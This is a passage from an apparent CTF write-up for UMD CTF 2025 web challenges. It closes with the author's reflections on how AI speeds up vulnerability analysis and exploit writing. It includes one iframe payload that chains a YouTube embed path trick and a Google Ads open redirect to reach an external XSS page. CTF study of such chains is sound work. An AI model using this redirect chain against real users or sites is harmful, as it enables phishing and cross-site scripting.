to https://www.youtube.com/embed/
was promising and my first try. It looks like youtube has a very know open redirect but I couldnât find it. At least not one without user interaction.
Just got it now from CTF Discord.
<iframe src="https://www.youtube.com/embed/../logout?continue=https://googleads.g.doubleclick.net/pcs/click?adurl=https://matte.pw/xss.html"></iframe>
Too fun to loose. I promise to study it, but those were interesting enough to document it here. Always nice to see different solutions. Lot of skilled hackers out there.
AI vs. CTF
There is no going back from AI. I started doing CTFs (mostly) in 2020 and the effort of the analysis then and now has a HUGE difference.
Usually I had to read a lot of boilerplate code to get to the interesting parts. Now I can just get a summary of the whole app, with the main vulnerabilities. Itâs impossible to miss the basics.
I can generate exploit codes MUCH faster. I can analyze complex code or languages I dont know (like Rust).
The fun part is that it does not solve the whole challenges (yet?) and we still have to work on the complex issues and understand how the fabric of the universe works.
Itâs better to use it in our favor and learn from it, get nice things much faster and not waste time on things that will not help the learning.
Modern Times.
References
- Team: FireShell
- Team X/Twitter
- Follow me too :) @NeptunianHacks
- UMD CSec
- UMD CTF 2025 - Web Challenges Sources